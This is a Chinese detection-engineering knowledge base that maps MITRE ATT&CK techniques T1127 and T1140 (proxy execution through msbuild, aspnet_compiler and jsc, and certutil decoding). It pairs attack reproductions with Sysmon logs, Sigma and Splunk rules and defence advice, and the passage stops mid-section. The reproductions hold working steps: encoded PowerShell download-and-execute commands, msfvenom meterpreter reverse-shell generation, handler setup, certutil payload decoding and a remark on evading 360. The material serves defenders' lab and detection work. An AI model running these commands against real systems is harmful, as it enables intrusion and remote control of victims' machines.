![反弹会话](https://img-blog.csdnimg.cn/20200413140810400.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) ## 测试留痕 ### Windows安全日志 - 事件ID4688: ``` 进程信息: 新进程ID:0x1234 新进程名称:C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe 命令行:C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Users\admin\malicious.xml 创建者进程名称:C:\Windows\System32\cmd.exe ``` ![日志留痕](https://img-blog.csdnimg.cn/20200413140937397.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) ### Sysmon日志 - 事件ID1: ``` 事件ID:1 OriginalFileName:msbuild.exe CommandLine:C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Users\admin\malicious.xml CurrentDirectory:C:\Users\admin\ User:WIN-SERVER\admin Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11: ``` 事件ID:11 Image:C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe TargetFilename:C:\Users\admin\malicious.xml ``` - 事件ID3: ``` 事件ID:3 Image:C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe Initiated:true SourceIp:192.168.126.149 SourcePort:49163 DestinationIp:192.168.126.146 DestinationPort:4444 ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`msbuild.exe`的执行,特别是在非开发环境中的调用。 - 检查命令行是否包含`.xml`文件。 2. 命令行分析: - 正则表达式匹配: ```regex msbuild\.exe.*\.xml ``` 3. 文件监控: - 检测非开发目录下的XML文件,尤其是包含`CodeTaskFactory`或`InlineTask`的XML。 4. 网络监控: - 检测`msbuild.exe`触发的异常网络连接(如TCP4444)。 5. 行为分析: - 检测`msbuild.exe`执行后触发的子进程或内存分配行为。 ### Sigma规则 新增Sigma规则以增强检测: ```yaml title:可疑Msbuild.exe执行XML文件 id:9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d description:检测msbuild.exe执行XML文件,可能用于代理执行恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\msbuild.exe' CommandLine|contains:'.xml' filter_legitimate: CurrentDirectory|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的开发活动 level:high tags: - attack.execution - attack.t1127 ``` 规则说明: - 目标:检测`msbuild.exe`执行XML文件的异常行为。 - 过滤:排除开发目录(如`ProgramFiles`)中的合法操作。 - 日志来源:Windows事件ID4688(需启用命令行审计)或Sysmon事件ID1。 - 误报处理:开发环境可能触发,需结合目录和网络行为分析。 - 级别:标记为“高”优先级,因`msbuild.exe`滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\msbuild.exe" CommandLine="*.xml*") OR (EventCode=11 FileName="*.xml" TargetFilename="*\msbuild.exe") OR (EventCode=3 Initiated="true" SourceImage="*\msbuild.exe" DestinationPort="4444") | fields Image,CommandLine,ParentImage,User,TargetFilename,DestinationIp,DestinationPort ``` 规则说明: - 检测`msbuild.exe`执行XML文件、访问的XML文件和触发的网络连接。 - 减少误报:结合文件路径和网络行为分析。 ### 检测挑战 - 误报:合法开发活动可能触发,需建立开发环境基线。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 - 绕过360:部分测试表明`msbuild.exe`可能绕过360安全卫士,但需进一步验证。 ## 防御建议 1. 监控和日志: - 启用命令行审计策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`msbuild.exe`的规则,监控文件创建和网络活动。 2. 权限控制: - 限制非开发用户执行`msbuild.exe`的权限。 3. 文件审查: - 定期扫描非开发目录下的XML文件,检查是否包含`CodeTaskFactory`或`InlineTask`。 4. 行为基线: - 建立开发环境的`msbuild.exe`使用基线,检测异常行为。 5. 安全更新: - 保持Windows和.NETFramework更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1127: - 利用msbuild.exe绕过应用程序白名单安全机制: - GreatSCT|MSF|白名单: - 基于白名单Msbuild.exe执行Payload复现: - 检测白名单Msbuild.exe执行Payload: - 基于白名单执行Payload: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1127-win-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单).md ================================================ # T1127-受信任的开发者实用程序代理执行-Aspnet_compiler.exe(白名单) ## 描述 攻击者可利用受信任的开发者工具(如`aspnet_compiler.exe`)代理执行恶意Payload。`aspnet_compiler.exe`是ASP.NET编译工具,位于.NETFramework目录,由Microsoft签名,用于预编译ASP.NET应用程序。它可以通过特定的文件夹结构和BuildProvider执行C#代码,生成可执行文件或Web应用程序。 由于其合法签名,`aspnet_compiler.exe`可绕过应用程序白名单(如AppLocker)或防病毒软件检测。攻击者滥用该工具编译恶意C#代码,执行如远程访问工具或反弹Shell等行为,常用于防御规避、持久化或横向移动阶段。 ## 测试案例 ### 测试案例1:Aspnet_compiler.exe编译C#代码 `aspnet_compiler.exe`通过指定文件夹结构和BuildProvider执行C#代码。 **命令**: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\Users\liyang\Desktop\asptest\ -f C:\Users\liyang\Desktop\asptest\none -u ``` - **文件夹结构(C:\Users\liyang\Desktop\asptest\)**: ``` asptest/ ├── App_Code/ │ └── MaliciousCode.cs ├── malicious.aspx └── web.config ``` - **示例文件**: - `MaliciousCode.cs`: ```csharp using System; public class Malicious { public static void Execute() { System.Diagnostics.Process.Start("calc.exe"); } } ``` - `malicious.aspx`: ```html <%@ Page Language="C#" %> <% Malicious.Execute(); %> ``` - `web.config`: ```xml ``` - **说明**: - `-v none`:指定虚拟路径为`none`。 - `-p`:指定源文件夹(包含ASP.NET应用程序结构)。 - `-f`:指定输出目录(编译结果)。 - `-u`:生成可更新的编译输出。 - 编译后,生成的代码可通过Web服务器(如IIS)或直接执行触发`calc.exe`。 - **权限**:普通用户可执行。 - **支持系统**:Windows7、Windows8、Windows8.1、Windows10(需安装.NETFramework4.0)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`aspnet_compiler.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录编译生成的文件(如`.dll`)。 - 事件ID10:进程访问,记录子进程调用。 - 文件监控: - 检测非开发环境下的ASP.NET文件(如`.aspx`、`.cs`)或编译输出(如`.dll`)。 - 行为监控: - 检测`aspnet_compiler.exe`触发的子进程(如`calc.exe`)。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows10(需安装.NETFramework4.0) - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) - IIS(可选,测试Web应用程序执行) ### 攻击分析 #### 测试1:Aspnet_compiler.exe编译恶意C#代码 1. **创建ASP.NET应用程序结构**: 在靶机`C:\Users\liyang\Desktop\asptest\`创建以下文件: - `App_Code/MaliciousCode.cs`: ```csharp using System; public class Malicious { public static void Execute() { System.Diagnostics.Process.Start("powershell.exe", "-NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7ACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABjAG0AZAA7ACQAdwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAOQAxAC4xADYAOgA4ADAALwBtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIALAAiAEMAOgBcAFQAZQBtAHAAXABtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIAKQAKAA=="); } } ``` - 解码后的PowerShell命令下载并执行`malicious.exe`。 - `malicious.aspx`: ```html <%@ Page Language="C#" %> <% Malicious.Execute(); %> ``` - `web.config`: ```xml ``` 2. **编译代码**: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\Users\liyang\Desktop\asptest\ -f C:\Users\liyang\Desktop\asptest\none -u ``` 3. **生成Payload**: 在攻击机上生成`malicious.exe`: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=12345 -f exe -o malicious.exe ``` 4. **托管Payload**: 启动HTTP服务器: ```bash cp malicious.exe /var/www/html/ sudo python3 -m http.server 80 ``` 5. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 12345 msf5 exploit(multi/handler)>exploit ``` 6. **执行编译结果**: - 若使用IIS,部署编译输出到Web应用程序并访问`malicious.aspx`。 - 直接执行编译后的DLL(如`none\bin\App_Code.dll`): ```cmd rundll32.exe C:\Users\liyang\Desktop\asptest\none\bin\App_Code.dll,Malicious.Execute ``` 7. **结果分析**: - 成功:编译生成DLL,执行后触发PowerShell下载并运行Payload,获得Meterpreter会话。 - 失败可能: - .NETFramework未安装(需安装4.0)。 - 防火墙阻止HTTP请求或TCP12345连接。 - PowerShell执行策略限制(需设置为`Bypass`:`Set-ExecutionPolicy Bypass`)。 - 文件夹结构错误(如缺少`App_Code`目录)。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: - 记录`aspnet_compiler.exe`的进程创建: ``` 进程信息: 新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe 命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\Users\liyang\Desktop\asptest\ -f C:\Users\liyang\Desktop\asptest\none -u 创建者进程名称:C:\Windows\System32\cmd.exe ``` - 记录子进程(如`powershell.exe`): ``` 进程信息: 新进程名称:C:\Windows\System32\powershell.exe 命令行:powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7... 创建者进程名称:C:\Windows\System32\rundll32.exe ``` ### Sysmon日志 - 事件ID1: - 记录`aspnet_compiler.exe`执行: ``` 事件ID:1 OriginalFileName:aspnet_compiler.exe CommandLine:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\Users\liyang\Desktop\asptest\ -f C:\Users\liyang\Desktop\asptest\none -u CurrentDirectory:C:\Users\liyang\ User:DESKTOP-PT656L6\liyang Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 记录子进程执行: ``` 事件ID:1 OriginalFileName:powershell.exe CommandLine:powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7... CurrentDirectory:C:\Users\liyang\ User:DESKTOP-PT656L6\liyang Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C ParentImage:C:\Windows\System32\rundll32.exe ``` - 事件ID11:记录生成文件(如`none\bin\App_Code.dll`)。 - 事件ID3:记录网络连接(如PowerShell下载Payload)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`aspnet_compiler.exe`的执行,特别是在非开发环境中的调用。 - 检查命令行是否包含`-v`、`-p`或`-f`参数。 2. 命令行分析: - 正则表达式匹配: ```regex aspnet_compiler\.exe.*(-v|-p|-f) ``` 3. 文件监控: - 检测非开发目录下的ASP.NET文件(如`.aspx`、`.cs`)或编译输出(如`.dll`)。 4. 行为分析: - 检测`aspnet_compiler.exe`编译后生成的DLL被`rundll32.exe`或Web服务器加载。 - 检测编译触发的子进程(如`powershell.exe`)。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title:可疑Aspnet_compiler.exe执行 id:a01b8329-5953-4f73-ae2d-aa01e1f35f00 description:检测aspnet_compiler.exe编译C#代码,可能用于代理执行恶意Payload status:experimental author:frack113 date:2021/11/24 references: - https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/ tags: - attack.defense_evasion - attack.t1127 logsource: category:process_creation product:windows detection: selection: Image|contains:'\Microsoft.NET\Framework' Image|endswith:'\aspnet_compiler.exe' CommandLine|contains: - '-v' - '-p' - '-f' filter_legitimate: CurrentDirectory|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的ASP.NET开发活动 level:high ``` 规则说明: - 目标:检测`aspnet_compiler.exe`的编译行为。 - 过滤:排除开发目录(如`ProgramFiles`)中的合法操作。 - 日志来源:Windows事件ID4688(需启用命令行审计)或Sysmon事件ID1。 - 误报处理:开发环境可能触发,需结合目录和子进程分析。 - 级别:升级为“高”优先级,因`aspnet_compiler.exe`滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\aspnet_compiler.exe" CommandLine IN ("*-v*","*-p*","*-f*")) OR (EventCode=11 FileName="*.dll" TargetFilename="*\aspnet_compiler.exe") OR (EventCode=10 SourceImage="*\rundll32.exe" TargetImage="*.dll") | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`aspnet_compiler.exe`的编译行为、生成的文件和`rundll32.exe`加载DLL的行为。 - 减少误报:结合文件路径和后续执行行为分析。 ### 检测挑战 - 误报:合法ASP.NET开发活动可能触发,需建立开发环境基线。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审计策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`aspnet_compiler.exe`的规则,监控文件创建和子进程。 2. 权限控制: - 限制非开发用户执行`aspnet_compiler.exe`的权限。 3. 文件审查: - 定期扫描非开发目录下的`.aspx`、`.cs`和`.dll`文件,检查文件哈希。 4. 行为基线: - 建立开发环境的`aspnet_compiler.exe`使用基线,检测异常行为。 5. 安全更新: - 保持Windows和.NETFramework更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1127: - Aspnet_Compiler.exe:LOLBAS: - ASP.NET编译工具(Aspnet_compiler.exe): - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1127-win-受信任的开发者实用程序代理执行-Jsc.exe(白名单).md ================================================ # T1127-受信任的开发者实用程序代理执行-Jsc.exe(白名单) ## 描述 攻击者可利用受信任的开发者工具(如`jsc.exe`)代理执行恶意Payload。`jsc.exe`是MicrosoftJScript.NET编译器,位于.NET Framework目录,由Microsoft签名,用于将JavaScript代码编译为可执行文件(`.exe`)或动态链接库(`.dll`)。其合法签名使其可绕过应用程序白名单(如AppLocker)或防病毒检测。 攻击者滥用`jsc.exe`编译恶意JavaScript代码,生成可执行文件或库文件,执行恶意行为,如加载远程访问工具或反弹Shell。此技术常用于防御规避、持久化或横向移动。 ## 测试案例 ### 测试案例1:Jsc.exe编译JavaScript为可执行文件 `jsc.exe`编译JavaScript文件生成`.exe`文件。 **命令**: ```cmd jsc.exe scriptfile.js ``` - **示例JavaScript(scriptfile.js)**: ```javascript import System; Console.WriteLine("Hello from JScript!"); new ActiveXObject("WScript.Shell").Run("calc.exe"); ``` - **说明**: - 编译`scriptfile.js`生成`scriptfile.exe`,执行时触发`calc.exe`。 - 用途:编译攻击者代码,绕过防御。 - **权限**:普通用户可执行。 - **支持系统**:WindowsVista、Windows7、Windows8、Windows8.1、Windows10。 ### 测试案例2:Jsc.exe编译JavaScript为动态链接库 `jsc.exe`编译JavaScript文件生成`.dll`文件。 **命令**: ```cmd jsc.exe /t:library Library.js ``` - **示例JavaScript(Library.js)**: ```javascript import System; class Malicious { static function Execute() { new ActiveXObject("WScript.Shell").Run("notepad.exe"); } } ``` - **说明**: - 使用`/t:library`生成`Library.dll`,可通过其他程序加载执行。 - 用途:生成恶意库文件,规避检测。 - **权限**:普通用户可执行。 - **支持系统**:WindowsVista、Windows7、Windows8、Windows8.1、Windows10。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`jsc.exe`及其生成文件的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录生成的`.exe`或`.dll`文件。 - 事件ID10:进程访问,记录子进程调用。 - 文件监控: - 检测非开发环境下的`.exe`或`.dll`文件生成。 - 行为监控: - 检测`jsc.exe`触发的子进程(如`calc.exe`或`notepad.exe`)。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows7或Windows10(需安装.NETFramework4.0或2.0) - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:Jsc.exe编译恶意JavaScript为可执行文件 1. **创建恶意JavaScript**: 创建`malicious.js`: ```javascript import System; new ActiveXObject("WScript.Shell").Run("powershell.exe -NoProfile -EncodedCommand JABjAG0AZAAgAD0AIAAiAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAIgA7ACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJABjAG0AZAA7ACQAdwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADEAOQAxAC4xADYAOgA4ADAALwBtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIALAAiAEMAOgBcAFQAZQBtAHAAXABtAGEAbABpAGcAbgBhAG4AdAAuAGUAeABlACIAKQAKAA=="); ``` - 解码后的PowerShell命令下载并执行`malicious.exe`。 2. **编译JavaScript**: 在靶机上: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe malicious.js ``` 3. **生成Payload**: 在攻击机上生成`malicious.exe`: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=12345 -f exe -o malicious.exe ``` 4. **托管Payload**: 启动HTTP服务器: ```bash cp malicious.exe /var/www/html/ sudo python3 -m http.server 80 ``` 5. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 12345 msf5 exploit(multi/handler)>exploit ``` 6. **靶机执行**: ```cmd malicious.exe ``` 7. **结果分析**: - 成功:编译生成`malicious.exe`,执行后触发PowerShell下载并运行Payload,获得Meterpreter会话。 - 失败可能: - .NETFramework未安装(需安装4.0或2.0)。 - 防火墙阻止HTTP请求或TCP12345连接。 - PowerShell执行策略限制(需设置为`Bypass`:`Set-ExecutionPolicy Bypass`)。 #### 测试2:Jsc.exe编译JavaScript为动态链接库 1. **创建恶意JavaScript**: 创建`Library.js`: ```javascript import System; class Malicious { static function Execute() { new ActiveXObject("WScript.Shell").Run("calc.exe"); } } ``` 2. **编译JavaScript**: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe /t:library Library.js ``` 3. **加载DLL**: 使用`rundll32.exe`加载`Library.dll`: ```cmd rundll32.exe Library.dll,Malicious.Execute ``` 4. **结果分析**: - 成功:生成`Library.dll`,加载后触发`calc.exe`。 - 失败可能:DLL导出函数调用错误或.NETFramework版本不匹配。 ## 测试留痕 ### Windows安全日志 - 事件ID4688: - 记录`jsc.exe`的进程创建: ``` 进程信息: 新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe 命令行:jsc.exe malicious.js 创建者进程名称:C:\Windows\System32\cmd.exe ``` - 记录生成文件的执行: ``` 进程信息: 新进程名称:C:\Users\liyang\Desktop\malicious.exe 命令行:malicious.exe 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID1: - 记录`jsc.exe`执行: ``` 事件ID:1 OriginalFileName:jsc.exe CommandLine:jsc.exe malicious.js CurrentDirectory:C:\Users\liyang\Desktop\ User:liyang-PC\liyang Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B ParentImage:C:\Windows\System32\cmd.exe ``` - 记录生成文件执行: ``` 事件ID:1 OriginalFileName:malicious.exe CommandLine:malicious.exe CurrentDirectory:C:\Users\liyang\Desktop\ User:liyang-PC\liyang Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID11:记录生成文件(如`malicious.exe`或`Library.dll`)。 - 事件ID3:记录网络连接(如PowerShell下载Payload)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`jsc.exe`的执行,尤其是在非开发环境中的调用。 - 检查命令行是否包含`.js`文件或`/t:library`参数。 2. 命令行分析: - 正则表达式匹配: ```regex jsc\.exe.*(\.js|\/t:library) ``` 3. 文件监控: - 检测非开发目录下的`.exe`或`.dll`文件生成。 4. 行为分析: - 检测`jsc.exe`编译后立即执行生成文件的模式。 - 检测生成的`.dll`被`rundll32.exe`加载。 ### Sigma规则 新增Sigma规则以增强检测: ```yaml title:可疑Jsc.exe编译JavaScript代码 id:7e8f9a0b-1c2d-3e4f-5a6b-7c8d9e0f1a2b description:检测jsc.exe编译JavaScript文件生成可执行文件或DLL,可能用于代理恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\jsc.exe' CommandLine|contains: - '.js' - '/t:library' filter_legitimate: CurrentDirectory|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的开发活动 level:high tags: - attack.execution - attack.t1127 ``` 规则说明: - 目标:检测`jsc.exe`编译JavaScript文件的行为。 - 过滤:排除开发目录(如`ProgramFiles`)中的合法操作。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:开发环境可能触发,需结合目录和子进程分析。 - 级别:标记为“高”优先级,因`jsc.exe`滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\jsc.exe" CommandLine IN ("*.js*","*/t:library*")) OR (EventCode=11 FileName IN ("*.exe","*.dll") TargetFilename="*\jsc.exe") OR (EventCode=10 SourceImage="*\rundll32.exe" TargetImage="*.dll") | fields Image,CommandLine,ParentImage,User,TargetFilename ``` 规则说明: - 检测`jsc.exe`的编译行为、生成的文件和`rundll32.exe`加载DLL的行为。 - 减少误报:结合文件路径和后续执行行为分析。 ### 检测挑战 - 误报:合法开发活动可能触发,需建立开发环境基线。 - 日志依赖:默认日志可能不记录完整命令行,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`jsc.exe`的规则,监控文件创建和子进程。 2. 权限控制: - 限制非开发用户执行`jsc.exe`的权限。 3. 文件审查: - 定期扫描非开发目录下的`.exe`和`.dll`文件,检查文件哈希。 4. 行为基线: - 建立开发环境的`jsc.exe`使用基线,检测异常行为。 5. 安全更新: - 保持Windows和.NETFramework更新,修复潜在漏洞。 ## 参考推荐 - MITREATT&CKT1127: - Jsc.exe:LOLBAS: - 远控免杀专题-白名单总结: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1140-win-去混淆解码文件或信息.md ================================================ # T1140-去混淆/解码文件或信息 ## 描述 攻击者常使用混淆或加密技术隐藏恶意文件或信息,以规避检测。他们可能通过内置恶意软件功能或系统实用程序(如`certutil.exe`)解码或去混淆这些内容。常见方法包括: - 使用`certutil.exe`解码Base64或十六进制编码的恶意Payload(如隐藏在证书文件中的远程访问工具)。 - 使用`copy /b`命令重组二进制片段,生成完整可执行文件。 - 通过用户交互(如输入密码)解密受保护的压缩/加密文件。 此技术允许攻击者在初始访问、持久化或横向移动阶段隐藏恶意行为,绕过防病毒软件或应用程序白名单。 ## 测试案例 ### 测试案例1:Certutil解码Base64编码的Payload `certutil.exe`是Windows内置的证书管理工具,可用于解码Base64或十六进制编码文件,常被攻击者滥用加载恶意Payload。 **命令**: ```cmd echo ZWNobyBIZUFMTCBXb3JsZCE= > encoded.txt certutil -decode encoded.txt decoded.txt ``` - **说明**: - `echo`:创建Base64编码文件`encoded.txt`,内容为`echo HELLO World!`。 - `certutil -decode`:将Base64编码解码为`decoded.txt`。 - 实际攻击中,`encoded.txt`可包含恶意可执行文件的Base64编码。 - **权限**:普通用户可执行。 - **支持系统**:Windows7及以上。 ### 测试案例2:Certutil解码十六进制编码的Payload `certutil.exe`支持解码十六进制编码文件,生成可执行文件。 **命令**: ```cmd echo 4D5A9000 > hex.txt certutil -decodehex hex.txt binary.exe ``` - **说明**: - `echo`:创建十六进制编码文件`hex.txt`,内容为PE文件头(`MZ`)。 - `certutil -decodehex`:将十六进制解码为`binary.exe`。 - 实际攻击中,可解码完整的恶意PE文件。 - **权限**:普通用户可执行。 ### 测试案例3:Copy命令重组Payload 使用`copy /b`命令将分片文件重组为可执行文件。 **命令**: ```cmd copy /b part1.bin+part2.bin malicious.exe ``` - **说明**: - `copy /b`:以二进制模式合并`part1.bin`和`part2.bin`,生成`malicious.exe`。 - 攻击者可将Payload分片存储,规避检测。 - **权限**:普通用户可执行。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`certutil.exe`或`copy.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录解码或重组生成的文件。 - 事件ID15:文件流创建,检测AlternateDataStream(ADS)。 - 文件监控: - 检测非标准路径下的可执行文件或编码文件(如`.txt`、`.bin`)。 - 网络监控: - 检测`certutil.exe`发起的HTTP请求(若Payload从远程下载)。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:Windows7或Windows10 - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) - PythonHTTP服务器(托管编码文件) ### 攻击分析 #### 测试1:Certutil解码Base64编码的Payload 1. **生成恶意Payload**: ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=9999 -f exe -o malicious.exe ``` 2. **编码Payload**: 在攻击机上将`malicious.exe`编码为Base64: ```bash base64 malicious.exe > malicious.b64 ``` 3. **托管编码文件**: 启动HTTP服务器: ```bash cp malicious.b64 /var/www/html/ sudo python3 -m http.server 80 ``` 4. **靶机下载和解码**: ```cmd powershell -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.126.146/malicious.b64','C:\Temp\malicious.b64') certutil -decode C:\Temp\malicious.b64 C:\Temp\malicious.exe C:\Temp\malicious.exe ``` 5. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 9999 msf5 exploit(multi/handler)>exploit ``` 6. **结果分析**: - 成功:解码生成`malicious.exe`,执行后获得Meterpreter会话。 - 失败可能原因: - 防火墙阻止HTTP下载或TCP9999连接。 - PowerShell执行策略限制(需设置为`Bypass`:`Set-ExecutionPolicy Bypass`)。 - 解码文件路径错误。 #### 测试2:Certutil解码十六进制编码的Payload 1. **生成Payload**: 复用`malicious.exe`。 2. **编码Payload**: 将`malicious.exe`转换为十六进制: ```bash xxd -p malicious.exe > malicious.hex ``` 3. **靶机解码**: 将`malicious.hex`复制到靶机(如`C:\Temp\malicious.hex`),然后: ```cmd certutil -decodehex C:\Temp\malicious.hex C:\Temp\malicious.exe C:\Temp\malicious.exe ``` 4. **结果分析**: - 成功:生成并执行`malicious.exe`,获得Meterpreter会话。 - 失败可能原因:同上。 #### 测试3:Copy命令重组Payload 1. **分片Payload**: 在攻击机上将`malicious.exe`分片: ```bash split -b 100k malicious.exe part_ ``` 2. **靶机重组**: 将分片文件(`part_aa`、`part_ab`等)复制到靶机(如`C:\Temp\`),然后: ```cmd copy /b C:\Temp\part_* C:\Temp\malicious.exe C:\Temp\malicious.exe ``` 3. **结果分析**: - 成功:重组并执行`malicious.exe`,获得Meterpreter会话。 - 失败可能原因:分片文件不完整或顺序错误。 ## 测试留痕 ### Windows安全日志 - 事件ID4688:记录`certutil.exe`或`copy.exe`的进程创建。 - 事件ID4663:记录生成文件的写操作(需启用文件审核)。 ### Sysmon日志 - 事件ID1:记录`certutil.exe`或`copy.exe`的命令行和子进程。 - 事件ID11:记录解码或重组生成的文件(如`malicious.exe`)。 - 事件ID3:记录网络连接(如HTTP下载)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`certutil.exe`的执行,尤其是`decode`或`decodehex`参数。 - 检测`copy.exe`使用`/b`参数合并文件。 2. 命令行分析: - 正则表达式匹配: ```regex certutil\.exe.*(-decode|-decodehex) ``` ```regex copy\.exe.*\/b.*\+ ``` 3. 文件监控: - 